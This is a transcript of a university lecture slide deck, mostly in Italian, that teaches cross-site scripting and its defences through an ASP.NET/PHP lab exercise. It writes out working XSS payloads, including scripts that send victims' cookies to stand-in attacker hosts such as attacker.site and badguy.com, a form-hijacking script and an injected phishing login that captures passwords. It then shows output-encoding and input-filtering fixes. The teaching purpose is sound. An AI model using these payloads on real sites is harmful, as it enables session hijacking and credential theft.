Cross Site Scripting - PowerPoint PPT Presentation

About This Presentation
Title:

Cross Site Scripting

Description:

Cross Site Scripting Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto di Informatica e Telematica - Pisa Universit G. d Annunzio – PowerPoint PPT presentation

Number of Views:247
Avg rating:3.0/5.0
Slides: 32
Provided by: dmiUnipg
Category:

less

Transcript and Presenter's Notes

Title: Cross Site Scripting


1
Cross Site Scripting
  • Prof. Stefano Bistarelli

C Consiglio Nazionale delle Ricerche Iit
Istituto di Informatica e Telematica - Pisa
Università G. dAnnunzioDipartimento di
Scienze, Pescara
2
Cos'è il CSS?
  • Una tecnica che consente agli hacker di
  • Eseguire script dannoso nel browser Web di un
    client
  • Inserire tag ltscriptgt, ltobjectgt, ltappletgt,
    ltformgt e ltembedgt
  • Rubare informazioni sulla sessione Web e cookie
    di autenticazione
  • Accedere al computer client

Qualsiasi pagina Web che esegue il rendering
HTMLe contenente input dell'utente è vulnerabile
3
A.4 Principi di Cross-Site-Scripting (XSS)
Attacker
2 Risposta
DataBase
Web server www.my-banca.it
App. server
WebApp vulnerabile al XSS
user
4
A.4 Cross-Site-Scripting (2)
  • GET /welcome.cgi?nameltscriptgtalert(document.cooki
    e)lt/scriptgt HTTP/1.0
  • Host www.my-banca.it
  • ...
  • La risposta del sito vulnerabile sarà la seguente
    (interpretata sul browser dellutente ignaro)
  • ltHTMLgt
  • ltTitlegtWelcome!lt/Titlegt
  • Hi ltscriptgtalert(document.cookie)lt/scriptgt
  • ltBRgt Welcome to our system
  • ...
  • lt/HTMLgt

5
A.4 Cross-Site-Scripting (3)
  • Il malicious link può essere
  • http//www.my-banca.it/welcome.cgi?nameltscriptgtwi
    ndow.open(http//www.attacker.site/collect.cgi?co
    okie2Bdocument.cookie)lt/scriptgt
  • La risposta del server sarà
  • ltHTMLgt
  • ltTitlegtWelcome!lt/Titlegt
  • Hi
  • ltscriptgtwindow.open(http//www.attacker.site/coll
    ect.cgi?cookiedocument.cookie)lt/scriptgt
  • ltBRgtWelcome to our system
  • ...
  • lt/HTMLgt

Redirezione del contenuto del cookie dellutente
ignaro verso il server dellattaccante
6
Due impieghi comuni del CSS
  • Attaccare le piattaforme di posta elettronica
    basate sul Web e i forum
  • Utilizzo dei tag ltformgt HTML per reindirizzare
    informazioni private

7
Attacchi basati su form (1 di 2)
Response.Write("Welcome" Request.QueryString("U
serName"))
8
Site soggetti a XSS/CSS
  • Vediamo lesempio
  • http//localhost/CrossScripting/Login.aspx

9
Proviamo..
  • Iniettiamo codice e vediamo che succede
  • ltscriptgtalert(ciao)lt/scriptgt
  • ltscriptgtalert(document.cookie)lt/scriptgt
  • Script eseguito sul mio browser
  • Ma come faccio io attaccante che non sono su
    macchina del client .. a prendermi il cookie??
  • cerco il campo di input
  • txtname

10
  • E se chiamo la pagina cosi?
  • http//localhost/CrossScripting/Login.aspx?txtname
    ltscriptgtalert('ciao')lt/scriptgt
  • Funziona lo stesso!!
  • Quindi se mando link a Maria e lei clicca esegue
    sul suo browser (credendo di andare al suo sito)
    il mio script!!

11
Attacchi basati su form (1 di 2)
Response.Write("Welcome" Request.QueryString("U
serName"))
12
  • Ma come faccio io attaccante ad avere le info sul
    mio sito e non sullo schermo di Maria??

13
Attacchi basati su form (2 di 2)
lta hrefhttp//www.contoso.msft/welcome.asp?name
ltFORM actionhttp//www. nwtraders.msft/data.asp
methodpost ididFormgt ltINPUT
namecookie typehiddengt lt/FORMgt
ltSCRIPTgt idForm.cookie.valuedocument.cookie
idForm.submit() lt/SCRIPTgt gt here lt/agt
14
  • ltscriptgt
  • window.onload function()
  • document.forms0.onsubmit function ()
  • return Hack()
  • function Hack()
  • var action"http//localhost/Hack/Hack.asp"
  • document.forms0.actionactiondocument.forms0
    .method"GET"
  • return true
  • lt/scriptgt

15
In generale
  • Se ho input di questo tipo
  • http//victim.com/search.php ? term apple
  • search.php responds with
  • ltHTMLgt ltTITLEgt Search Results lt/TITLEgt
  • ltBODYgt
  • Results for lt?php echo _GETterm ?gt
  • . . .
  • lt/BODYgt lt/HTMLgt

16
Posso usarlo cosi!!
  • http//victim.com/search.php ? term
  • ltscriptgt window.open(
  • http//badguy.com?cookie
  • document.cookie ) lt/scriptgt
  • Se la mia vittima clicca su questo link?
  • Browser va a victim.com/search.php
  • Victim.com restituisce
  • ltHTMLgt Results for ltscriptgt lt/scriptgt
  • Browser executes script
  • Sends badguy.com cookie for victim.com

17
So what?
  • Perche un utente dovrebbe cliccare su quel link?
  • Phishing email in webmail client (e.g. gmail).
  • Link in doubleclick banner ad
  • many many ways to fool user into clicking
  • Vedi esempio mail poste.it!!
  • Cosa ci fa badguy.com con il cookie di victim.com
    ?
  • Puo essere usato per spacciarsi per quellutente
    per esempio!! (vedi lezione su cookies!!)

18
Even worse
  • Attacker can execute arbitrary scripts in browser
  • Can manipulate any DOM component on victim.com
  • Control links on page
  • Control form fields (e.g. password field) on this
    page and linked pages.
  • Can infect other users MySpace.com worm.

19
Difesa
20
Avoiding XSS bugs (PHP)
  • Main problem
  • Input checking is difficult --- many ways to
    inject scripts into HTML.
  • Preprocess input from user before echoing it
  • PHP htmlspecialchars(string)
  • ? amp " ? quot ' ? 039
    lt ? lt gt ? gt
  • htmlspecialchars( "lta href'test'gtTestlt/agt",
    ENT_QUOTES)
  • Outputs lta href039test039gtTest
    lt/agt

21
Avoiding XSS bugs (ASP.NET)
  • ASP.NET 1.1
  • Server.HtmlEncode(string)
  • Similar to PHP htmlspecialchars
  • validateRequest (on by default)
  • Crashes page if finds ltscriptgt in POST data.
  • Looks for hardcoded list of patterns.
  • Can be disabled
  • lt_at_ Page validateRequestfalse"  gt

22
(No Transcript)
23
Esercizio lab
24
esercizio
  • In this scenario, you have a web application that
    supports both anonymous and authenticated users,
    the latter of which are authenticated using
    ASP.NET Forms logon. The application is a message
    board which allows any user to post a message
    that all others can read.

25
Giochiamo con lapplicazione
  • 2 utenti registrati (hard coded (no db))
  • alice password
  • bob password
  • Entriamo come alice e inviamo un messaggio
  • NO HTML
  • Ora entriamo come black hat (anonimo) e vediamo
    se supporta XSS ?
  • Si!!

26
Postiamo questo codice!!
  • lth2gtWow, this site has a nasty XSS
    vulnerability!lt/h2gt
  • ltinput type'button' value'Click me for a
    laugh!' onclick'changePersonality()'/gt
  • lth2gtI wonder if I can see your cookie with this
    script?lt/h2gt
  • ltinput type'button' value'Click to see your
    cookie!' onclick'alert(document.cookie)'/gt
  • lth2gtHey, would you post your cookie to my website
    please?lt/h2gt
  • ltinput type'button' value'Click to POST your
    cookie!' onclick'alert("Just kidding, but keep
    in mind that a real attacker would not ask before
    doing this!")'/gt
  • ltscriptgt
  • function changePersonality()
  • var image document.images0
  • if (image.src.match('google'))
  • // switch back to Fabrikam
  • image.src 'art/Fabrikam.gif'
  • else
  • // switch to Google
  • image.src 'http//www.google.com/intl/en/images
    /logo.gif'
  • lt/scriptgt

27
Ora immaginiamo ..
  • Che alice entri e veda il codice
  • Alice non lo sa ma
  • Attaccante ha controllo completo della pagina
  • (vedi come cambia immagine)
  • Attaccante puo rubare informazioni da alice (o
    meglio per ora le visualizza e basta, ma potrebbe
    facilmente reindirizzarle (ricordatevi esempi
    precedenti)
  • Visualizza cookies

28
Difesa
  • Usare htmlencode su testo output!
  • text Server.HtmlEncode(r.ReadToEnd())
  • Filtra input
  • // filter the input using a whitelist - look for
    what is good!
  • string pattern _at_"-\s\w\d.,!_at_?()\/
    \\""'"
  • if (!Regex.IsMatch(text, pattern,
    RegexOptions.Multiline))
  • string errorMessage "Your post has one or
    more disallowed "
  • "characters (no HTML,
    please)."
  • Response.Redirect(_at_"\error.aspx?msg"
  • Server.UrlEncode(errorMessage))
  • return
  • Sembra tutto a posto ora??
  • E invece no? chi sa perchè?

29
XSS su error page
  • Error chiamata con un parametro di input!!
  • Proviamo a cambiare input!
  • ciao a tutti ? funziona!!
  • Posso modificare la pagina come voglio!!
  • Phishing attack!!
  • lab-css\CrossSiteScripting\before\XSSWeb\phishing_
    email.htm
  • Il link nella pagina porta alla pagina di errore
    opportunamente modificata!!

30
Ecco il messaggio per la pag di errore
  • var html "Please log in. You will be
    automatically registered for a free gift!"
  • "ltscriptgt"
  • "var u, p"
  • "function myLogon() "
  • "u document.getElementById('c
    tl00LoginView1Login1UserName').value"
  • "p document.getElementById('c
    tl00LoginView1Login1Password').value"
  • ""
  • "function thanks() "
  • "var msg 'Your gift will be
    shipped within 7 business days. Thanks again for
    your loyalty! "
  • "Oh and by the way,
    I learned something about you today. "
  • "Your user name is
    ' 2B u 2B ' and your password is ' 2B p"
  • "document.getElementById('ctl00
    _MainBody_message').innerTextmsg"
  • ""
  • "document.getElementById('ctl00_l
    blFormTitle').lastChild.nodeValue'Loyalty
    Gift'"
  • "document.getElementById('ctl00_l
    blPageTitle').lastChild.nodeValue'Loyalty
    Gift'"
  • "document.getElementById('ctl00L
    oginView1Login1LoginButton').onclick
    myLogon"
  • "document.forms0.action
    'javascriptthanks()'"
  • "lt\/scriptgt"

31
Fix la pagina error!
  • Su error page
  • Htmlencode input
  • message.Text Server.HtmlEncode(Request.QueryStri
    ng"msg")
  • Nota su web.config
  • ltpages validateRequest"false"/gt ? trrue
Write a Comment
User Comments (0)
About PowerShow.com